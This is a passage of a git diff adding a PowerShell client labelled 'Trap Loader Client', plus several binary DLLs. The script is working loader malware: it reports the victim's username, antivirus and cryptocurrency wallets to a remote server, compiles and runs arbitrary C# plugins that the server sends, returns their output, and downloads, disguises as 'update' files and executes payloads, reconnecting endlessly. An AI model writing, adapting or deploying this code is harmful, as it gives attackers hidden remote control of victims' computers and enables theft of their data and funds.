[System.Environment]::UserName + $av = Get-SpecificAntivirus + $wallets = Get-WalletNames + return "$osVer;$machine;$av;$wallets" +} + +# ==================== TCP BINARY PROTOCOL ==================== + +$MSG_AUTH = [byte]0x01 +$MSG_HEARTBEAT = [byte]0x02 +$MSG_CLIENT_INFO = [byte]0x03 +$MSG_PLUGIN_DATA = [byte]0x10 +$MSG_PLUGIN_BATCH = [byte]0x11 + +$MSG_AUTH_OK = [byte]0x81 +$MSG_AUTH_FAIL = [byte]0x82 +$MSG_HEARTBEAT_ACK = [byte]0x83 +$MSG_PLUGIN_CMD = [byte]0x90 +$MSG_FILE_TRANSFER = [byte]0x91 +$MSG_DISCONNECT = [byte]0xFF + +function Write-TcpMessage { + param( + [System.IO.Stream]$Stream, + [byte]$MsgType, + [byte[]]$Payload + ) + + $payloadLen = if ($Payload) { $Payload.Length } else { 0 } + $totalLen = 1 + $payloadLen + + $packet = New-Object byte[] (4 + $totalLen) + $packet[0] = [byte]($totalLen -band 0xFF) + $packet[1] = [byte](($totalLen -shr 8) -band 0xFF) + $packet[2] = [byte](($totalLen -shr 16) -band 0xFF) + $packet[3] = [byte](($totalLen -shr 24) -band 0xFF) + $packet[4] = $MsgType + + if ($Payload -and $Payload.Length -gt 0) { + [Array]::Copy($Payload, 0, $packet, 5, $Payload.Length) + } + + $Stream.Write($packet, 0, $packet.Length) + $Stream.Flush() +} + +function Read-TcpExact { + param( + [System.IO.Stream]$Stream, + [int]$Count + ) + + $buffer = New-Object byte[] $Count + $totalRead = 0 + + while ($totalRead -lt $Count) { + $read = $Stream.Read($buffer, $totalRead, $Count - $totalRead) + if ($read -le 0) { return $null } + $totalRead += $read + } + + return $buffer +} + +function Read-TcpMessage { + param([System.IO.Stream]$Stream) + + $lenBuf = Read-TcpExact -Stream $Stream -Count 4 + if ($null -eq $lenBuf) { return $null } + + $totalLen = [int]$lenBuf[0] -bor + ([int]$lenBuf[1] -shl 8) -bor + ([int]$lenBuf[2] -shl 16) -bor + ([int]$lenBuf[3] -shl 24) + + if ($totalLen -le 0 -or $totalLen -gt 5242880) { + return $null + } + + $msgBuf = Read-TcpExact -Stream $Stream -Count $totalLen + if ($null -eq $msgBuf) { return $null } + + $msgType = $msgBuf[0] + $payload = $null + + if ($totalLen -gt 1) { + $payload = New-Object byte[] ($totalLen - 1) + [Array]::Copy($msgBuf, 1, $payload, 0, $totalLen - 1) + } + + return @{ Type = $msgType; Payload = $payload } +} + +# ==================== PLUGIN ENGINE ==================== + +Add-Type -TypeDefinition @" +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Threading; +using System.Threading.Tasks; + +public class PluginRunner +{ + public ConcurrentQueue InQueue = new ConcurrentQueue(); + public ConcurrentQueue OutQueue = new ConcurrentQueue(); + public CancellationTokenSource Cts = new CancellationTokenSource(); + public Thread WorkerThread; + public Exception LastError; + public volatile bool Running; + + public void Start(object pluginInstance) + { + Running = true; + WorkerThread = new Thread(() => + { + try + { + Func sendFunc = (data) => + { + OutQueue.Enqueue(data); + return Task.CompletedTask; + }; + + Func> receiveFunc = () => + { + while (!Cts.IsCancellationRequested) + { + byte[] item; + if (InQueue.TryDequeue(out item)) + return Task.FromResult(item); + Thread.Sleep(5); + } + return Task.FromResult(null); + }; + + var runMethod = pluginInstance.GetType().GetMethod("Run"); + if (runMethod == null) + { + LastError = new Exception("Plugin has no Run method"); + return; + } + + var task = (Task)runMethod.Invoke(pluginInstance, new object[] { sendFunc, receiveFunc }); + task.GetAwaiter().GetResult(); + } + catch (Exception ex) { LastError = ex; } + finally { Running = false; } + }); + WorkerThread.IsBackground = true; + WorkerThread.Name = "PluginWorker"; + WorkerThread.Start(); + } + + public void Stop() + { + try { Cts.Cancel(); } catch { } + try { if (WorkerThread != null && WorkerThread.IsAlive) WorkerThread.Join(3000); } catch { } + Running = false; + } + + public int GetOutQueueCount() { return OutQueue.Count; } + + public void ClearOutQueue() + { + byte[] discard; + while (OutQueue.TryDequeue(out discard)) { } + } +} +"@ -ReferencedAssemblies @('System.dll') -ErrorAction Stop + +$global:ActivePlugins = @{} + +# ==================== RESOLVE ASSEMBLY PATHS ==================== + +function Get-AssemblyReferences { + $refs = [System.Collections.Generic.List[string]]::new() + + # Core framework assemblies (always available) + $refs.Add('System.dll') + $refs.Add('System.Drawing.dll') + $refs.Add('System.Windows.Forms.dll') + $refs.Add('System.Management.dll') + $refs.Add('System.Core.dll') + $refs.Add('System.Data.dll') + $refs.Add('System.Xml.dll') + $refs.Add('System.Xml.Linq.dll') + $refs.Add('System.Net.Http.dll') + $refs.Add('System.IO.Compression.dll') + $refs.Add('System.IO.Compression.FileSystem.dll') + $refs.Add('System.Runtime.Serialization.dll') + $refs.Add('System.ServiceModel.dll') + $refs.Add('System.Configuration.dll') + $refs.Add('System.Security.dll') + $refs.Add('Microsoft.CSharp.dll') + $refs.Add('System.Numerics.dll') + $refs.Add('System.DirectoryServices.dll') + + # Optional assemblies - resolve full path from GAC/framework dirs + $optionalAssemblies = @( + 'System.Speech.dll', + 'System.Web.dll', + 'System.Web.Extensions.dll', + 'System.ServiceProcess.dll', + 'System.Design.dll', + 'System.Drawing.Design.dll', + 'System.Windows.Forms.DataVisualization.dll', + 'System.Deployment.dll', + 'System.Management.Automation.dll', + 'Microsoft.VisualBasic.dll', + 'System.Linq.dll' + ) + + # Search paths for optional assemblies + $frameworkDir = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + + $searchPaths = @( + $frameworkDir + ) + + # Add GAC paths + $gacRoot = Join-Path $env:windir "Microsoft.NET\assembly" + if (Test-Path $gacRoot) { + $searchPaths += (Get-ChildItem -Path $gacRoot -Directory -Recurse -ErrorAction SilentlyContinue | + Select-Object -ExpandProperty FullName) + } + + # Also check Program Files for specific assemblies + $extraPaths = @( + "$env:windir\Microsoft.NET\Framework\v4.0.30319", + "$env:windir\Microsoft.NET\Framework64\v4.0.30319" + ) + foreach ($ep in $extraPaths) { + if (Test-Path $ep) { $searchPaths += $ep } + } + + foreach ($optAsm in $optionalAssemblies) { + $found = $false + foreach ($sp in $searchPaths) { + $fullPath = Join-Path $sp $optAsm + if (Test-Path $fullPath) { + $refs.Add($fullPath) + $found = $true + break + } + } + + # If not found by file search, try loading via reflection to get path + if (-not $found) { + try { + $asmName = [System.IO.Path]::GetFileNameWithoutExtension($optAsm) + $loaded = [System.Reflection.Assembly]::LoadWithPartialName($asmName) + if ($null -ne $loaded -and -not [string]::IsNullOrEmpty($loaded.Location)) { + $refs.Add($loaded.Location) + $found = $true + } + } catch { } + } + } + + return $refs.ToArray() +} + +# Pre-resolve assembly references once at startup +$global:PluginAssemblyRefs = Get-AssemblyReferences +Write-Host "$(Get-Date -Format 'HH:mm:ss') - Resolved $($global:PluginAssemblyRefs.Count) assembly references for plugins" -ForegroundColor Gray + +# ==================== PLUGIN FUNCTIONS ==================== + +function Invoke-PluginCommand { + param([string]$PluginId, [int]$CmdType, [byte[]]$Data) + + switch ($CmdType) { + 0 { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Loading: $PluginId" -ForegroundColor Magenta + if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId } + try { + $code = [Text.Encoding]::UTF8.GetString($Data) + + Add-Type -TypeDefinition $code -ReferencedAssemblies $global:PluginAssemblyRefs -ErrorAction Stop + $pluginInstance = New-Object "ClientPlugin_$($PluginId).Main" + $runner = New-Object PluginRunner + $runner.Start($pluginInstance) + $global:ActivePlugins[$PluginId] = @{ Runner = $runner } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Started: $PluginId" -ForegroundColor Green + } catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Load error: $($_.Exception.Message)" -ForegroundColor Red + $global:ActivePlugins.Remove($PluginId) + } + } + 1 { + if ($global:ActivePlugins.ContainsKey($PluginId)) { + $global:ActivePlugins[$PluginId].Runner.InQueue.Enqueue($Data) + } + } + 2 { + if ($global:ActivePlugins.ContainsKey($PluginId)) { Stop-Plugin -PluginId $PluginId } + } + } +} + +function Stop-Plugin { + param([string]$PluginId) + if ($global:ActivePlugins.ContainsKey($PluginId)) { + try { $global:ActivePlugins[$PluginId].Runner.Stop() } catch { } + $global:ActivePlugins.Remove($PluginId) + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] Stopped: $PluginId" -ForegroundColor Yellow + } +} + +function Stop-AllPlugins { + foreach ($plugId in @($global:ActivePlugins.Keys)) { Stop-Plugin -PluginId $plugId } +} + +function Cleanup-DeadPlugins { + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pe = $global:ActivePlugins[$plugId] + if ($pe -and $pe.Runner) { + if ($pe.Runner.LastError) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId died: $($pe.Runner.LastError.Message)" -ForegroundColor Red + $pe.Runner.Stop() + $global:ActivePlugins.Remove($plugId) + } + elseif (-not $pe.Runner.Running -and $pe.Runner.WorkerThread -and -not $pe.Runner.WorkerThread.IsAlive) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId exited" -ForegroundColor Yellow + $global:ActivePlugins.Remove($plugId) + } + } + } +} + +function Get-HasPluginOutput { + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pe = $global:ActivePlugins[$plugId] + if ($pe -and $pe.Runner -and $pe.Runner.GetOutQueueCount() -gt 0) { + return $true + } + } + return $false +} + +function Send-AllPluginOutput { + param([System.IO.Stream]$Stream) + + $anySent = $false + + foreach ($plugId in @($global:ActivePlugins.Keys)) { + $pluginEntry = $global:ActivePlugins[$plugId] + if ($null -eq $pluginEntry -or $null -eq $pluginEntry.Runner) { continue } + + $queueCount = $pluginEntry.Runner.GetOutQueueCount() + if ($queueCount -le 0) { continue } + + if ($queueCount -gt 100) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - [Plugin] $plugId backlog ($queueCount), clearing" -ForegroundColor Yellow + $pluginEntry.Runner.ClearOutQueue() + continue + } + + $idBytes = [Text.Encoding]::UTF8.GetBytes($plugId) + + $sent = 0 + while ($sent -lt 50) { + $item = $null + $dequeued = $pluginEntry.Runner.OutQueue.TryDequeue([ref]$item) + if (-not $dequeued -or $null -eq $item) { break } + + $payload = New-Object byte[] (1 + $idBytes.Length + $item.Length) + $payload[0] = [byte]$idBytes.Length + [Array]::Copy($idBytes, 0, $payload, 1, $idBytes.Length) + [Array]::Copy($item, 0, $payload, 1 + $idBytes.Length, $item.Length) + + Write-TcpMessage -Stream $Stream -MsgType $MSG_PLUGIN_DATA -Payload $payload + $sent++ + $anySent = $true + } + } + + return $anySent +} + +# ==================== MESSAGE HANDLERS ==================== + +function Handle-PluginCmd { + param([byte[]]$Payload) + if ($null -eq $Payload -or $Payload.Length -lt 2) { return } + $idLen = [int]$Payload[0] + if ($idLen -le 0 -or ($idLen + 1) -gt $Payload.Length) { return } + $pluginId = [Text.Encoding]::UTF8.GetString($Payload, 1, $idLen) + $dataOffset = 1 + $idLen + $dataLen = $Payload.Length - $dataOffset + $data = $null + if ($dataLen -gt 0) { + $data = New-Object byte[] $dataLen + [Array]::Copy($Payload, $dataOffset, $data, 0, $dataLen) + } + if ($null -ne $data -and $data.Length -ge 1) { + $cmdType = [int]$data[0] + $cmdData = $null + if ($data.Length -gt 1) { + $cmdData = New-Object byte[] ($data.Length - 1) + [Array]::Copy($data, 1, $cmdData, 0, $cmdData.Length) + } + Invoke-PluginCommand -PluginId $pluginId -CmdType $cmdType -Data $cmdData + } +} + +function Handle-FileTransfer { + param([byte[]]$Payload) + if ($null -eq $Payload -or $Payload.Length -lt 2) { return } + $hashLen = [int]$Payload[0] + $expectedHash = $null + if ($hashLen -gt 0 -and ($hashLen + 1) -le $Payload.Length) { + $expectedHash = [Text.Encoding]::UTF8.GetString($Payload, 1, $hashLen) + } + $encOffset = 1 + $hashLen + if ($encOffset -ge $Payload.Length) { return } + $encData = New-Object byte[] ($Payload.Length - $encOffset) + [Array]::Copy($Payload, $encOffset, $encData, 0, $encData.Length) + + $decryptedBytes = Decrypt-Bytes -CipherBytes $encData -Key $encryptionKey + if ($null -eq $decryptedBytes -or $decryptedBytes.Length -eq 0) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - File decryption failed" -ForegroundColor Red + return + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - File received: $($decryptedBytes.Length) bytes" -ForegroundColor Green + + if ($expectedHash) { + $sha = [System.Security.Cryptography.SHA256]::Create() + $actualHash = [BitConverter]::ToString($sha.ComputeHash($decryptedBytes)).Replace("-", "").ToLower() + $sha.Dispose() + if ($actualHash -ne $expectedHash) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - HASH MISMATCH! Rejecting." -ForegroundColor Red + return + } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Hash verified OK" -ForegroundColor Green + } + + $suffix = [Guid]::NewGuid().ToString().Substring(0, 8) + if ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x4D -and $decryptedBytes[1] -eq 0x5A) { + $fileName = "update-$suffix.exe" + } elseif ($decryptedBytes.Length -gt 1 -and $decryptedBytes[0] -eq 0x50 -and $decryptedBytes[1] -eq 0x4B) { + $fileName = "update-$suffix.zip" + } else { + $fileName = "update-$suffix.bat" + } + + $filePath = [IO.Path]::Combine([IO.Path]::GetTempPath(), $fileName) + try { + [IO.File]::WriteAllBytes($filePath, $decryptedBytes) + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Saved: $filePath" -ForegroundColor Green + Start-Process -FilePath $filePath -ErrorAction Stop + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Executed successfully" -ForegroundColor Green + } catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Execute error: $($_.Exception.Message)" -ForegroundColor Red + } +} + +# ==================== PARSE SERVER ADDRESS ==================== + +function Parse-ServerAddress { + param([string]$Address) + $result = @{ Host = ""; Port = 443 } + $addr = $Address.Trim() -replace '^https?://', '' -replace '/.*$', '' + if ($addr -match '^(.+):(\d+)$') { + $result.Host = $Matches[1] + $result.Port = [int]$Matches[2] + } else { + $result.Host = $addr + } + return $result +} + +# ==================== MAIN ==================== + +$machineId = Get-MachineFingerprint +$systemInfo = Get-SystemInfo + +$parsed = Parse-ServerAddress -Address $serverUrl +$sHost = $parsed.Host +$sPort = $parsed.Port + +if ([string]::IsNullOrWhiteSpace($sHost)) { + Write-Host "Invalid server address: $serverUrl" -ForegroundColor Red + Start-Sleep -Seconds 10 + exit 1 +} + +Write-Host "========================================" -ForegroundColor Cyan +Write-Host " Trap Loader Client (TCP)" -ForegroundColor Cyan +Write-Host "========================================" -ForegroundColor Cyan +Write-Host " Server : $sHost`:$sPort" -ForegroundColor Gray +Write-Host " Machine : $machineId" -ForegroundColor Gray +Write-Host " Crypto : AES-256-GCM (BCrypt)" -ForegroundColor Gray +Write-Host "========================================" -ForegroundColor Cyan +Write-Host "" + +$heartbeatInterval = 5 + +# ==================== CONNECTION LOOP ==================== + +try { +while ($true) { + $tcpClient = $null + $stream = $null + + try { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connecting to $sHost`:$sPort..." -ForegroundColor Yellow + + $tcpClient = New-Object System.Net.Sockets.TcpClient + $tcpClient.NoDelay = $true + $tcpClient.ReceiveBufferSize = 1048576 + $tcpClient.SendBufferSize = 1048576 + $tcpClient.ReceiveTimeout = 60000 + $tcpClient.SendTimeout = 30000 + + $asyncResult = $tcpClient.BeginConnect($sHost, $sPort, $null, $null) + $connected = $asyncResult.AsyncWaitHandle.WaitOne(5000, $false) + + if (-not $connected) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection timeout. Retrying..." -ForegroundColor Yellow + try { $tcpClient.Close() } catch { } + Start-Sleep -Seconds 5 + continue + } + + try { $tcpClient.EndConnect($asyncResult) } + catch { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connection refused. Retrying..." -ForegroundColor Yellow + try { $tcpClient.Close() } catch { } + Start-Sleep -Seconds 5 + continue + } + + $stream = $tcpClient.GetStream() + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Connected!" -ForegroundColor Green + + # ========== AUTHENTICATION ========== + + $authJson = @{ + password = $httpPassword + machine_id = $machineId + info = $systemInfo + } | ConvertTo-Json -Compress -Depth 5 + + $authEncrypted = Encrypt-Payload -PlainText $authJson -Key $encryptionKey + Write-TcpMessage -Stream $stream -MsgType $MSG_AUTH -Payload $authEncrypted + + $authResp = Read-TcpMessage -Stream $stream + if ($null -eq $authResp) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - No auth response" -ForegroundColor Red + throw "Auth failed" + } + + if ($authResp.Type -eq $MSG_AUTH_FAIL) { + $reason = if ($authResp.Payload) { [Text.Encoding]::UTF8.GetString($authResp.Payload) } else { "Unknown" } + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Auth failed: $reason" -ForegroundColor Red + throw "Auth failed" + } + + if ($authResp.Type -ne $MSG_AUTH_OK) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unexpected response: 0x$($authResp.Type.ToString('X2'))" -ForegroundColor Red + throw "Auth failed" + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Authenticated!" -ForegroundColor Green + + # ========== MESSAGE LOOP ========== + + $lastHeartbeat = [DateTime]::UtcNow + $lastInfoRefresh = [DateTime]::UtcNow + $lastCleanup = [DateTime]::UtcNow + $infoRefreshSeconds = 60 + $cleanupIntervalSeconds = 10 + + while ($tcpClient.Connected) { + $now = [DateTime]::UtcNow + + # ---- PHASE 1: Read all incoming messages ---- + while ($stream.DataAvailable) { + $msg = Read-TcpMessage -Stream $stream + if ($null -eq $msg) { throw "Connection lost" } + + switch ($msg.Type) { + $MSG_HEARTBEAT_ACK { + if ($msg.Payload -and $msg.Payload.Length -ge 5) { + $pending = [int]$msg.Payload[0] -bor ([int]$msg.Payload[1] -shl 8) -bor + ([int]$msg.Payload[2] -shl 16) -bor ([int]$msg.Payload[3] -shl 24) + $fileQueued = $msg.Payload[4] -ne 0 + if ($pending -gt 0 -or $fileQueued) { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Pending: $pending cmd(s), file=$fileQueued" -ForegroundColor Cyan + } + } + } + $MSG_PLUGIN_CMD { Handle-PluginCmd -Payload $msg.Payload } + $MSG_FILE_TRANSFER { Handle-FileTransfer -Payload $msg.Payload } + $MSG_DISCONNECT { throw "Server disconnect" } + default { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Unknown msg: 0x$($msg.Type.ToString('X2'))" -ForegroundColor Yellow + } + } + } + + # ---- PHASE 2: Send ALL plugin output (tight loop until drained) ---- + $outputDrained = $false + while (-not $outputDrained) { + $sentAny = Send-AllPluginOutput -Stream $stream + if (-not $sentAny) { + $outputDrained = $true + } + # Check for new incoming while sending output + if ($stream.DataAvailable) { break } + } + + # If new data arrived during output send, loop back immediately + if ($stream.DataAvailable) { continue } + + # ---- PHASE 3: Heartbeat ---- + if (($now - $lastHeartbeat).TotalSeconds -ge $heartbeatInterval) { + Write-TcpMessage -Stream $stream -MsgType $MSG_HEARTBEAT -Payload ([byte[]]@(0)) + $lastHeartbeat = $now + } + + # ---- PHASE 4: System info refresh (time-based, non-blocking) ---- + if (($now - $lastInfoRefresh).TotalSeconds -ge $infoRefreshSeconds) { + $lastInfoRefresh = $now + $systemInfo = Get-SystemInfo + $infoBytes = [Text.Encoding]::UTF8.GetBytes($systemInfo) + Write-TcpMessage -Stream $stream -MsgType $MSG_CLIENT_INFO -Payload $infoBytes + } + + # ---- PHASE 5: Dead plugin cleanup ---- + if (($now - $lastCleanup).TotalSeconds -ge $cleanupIntervalSeconds) { + $lastCleanup = $now + Cleanup-DeadPlugins + } + + # ---- PHASE 6: Smart wait ---- + # Tight poll: check every 1ms for data or plugin output, max 20ms + $waitUntil = [DateTime]::UtcNow.AddMilliseconds(20) + while ([DateTime]::UtcNow -lt $waitUntil) { + if ($stream.DataAvailable) { break } + if (Get-HasPluginOutput) { break } + [System.Threading.Thread]::Sleep(1) + } + } + } + catch { + $errMsg = $_.Exception.Message + if ($errMsg -ne "Auth failed" -and $errMsg -ne "Connection lost" -and $errMsg -ne "Server disconnect") { + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Error: $errMsg" -ForegroundColor Red + } + } + finally { + if ($null -ne $stream) { try { $stream.Dispose() } catch { } } + if ($null -ne $tcpClient) { try { $tcpClient.Close() } catch { } } + } + + Write-Host "$(Get-Date -Format 'HH:mm:ss') - Reconnecting in 5s..." -ForegroundColor Yellow + Start-Sleep -Seconds 5 +} +} +finally { + Stop-AllPlugins +} \ No newline at end of file diff --git a/System.Collections.Immutable.dll b/System.Collections.Immutable.dll new file mode 100644 index 0000000..9db8140 Binary files /dev/null and b/System.Collections.Immutable.dll differ diff --git a/System.Management.dll b/System.Management.dll new file mode 100644 index 0000000..70fda59 Binary files /dev/null and b/System.Management.dll differ diff --git a/System.Reflection.Metadata.dll b/System.Reflection.Metadata.dll new file mode 100644 index 0000000..2366da2 Binary files /dev/null and b/System.Reflection.Metadata.dll differ diff --git a/runtimes/win/lib/net8.0/System.Management.dll b/runtimes/win/lib/net8.0/System.Management.dll new file mode 100644 index 0000000..c7505b3 Binary files /dev/null and b/runtimes/win/lib/net8.0/System.Management.dll differ